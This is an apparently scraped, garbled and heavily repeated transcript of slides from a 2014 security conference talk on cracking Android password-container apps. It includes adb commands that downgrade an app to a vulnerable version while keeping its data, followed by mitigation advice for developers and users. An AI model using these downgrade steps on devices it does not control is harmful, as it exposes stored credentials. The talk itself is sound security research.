  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 177: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 178: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 179: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 180: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
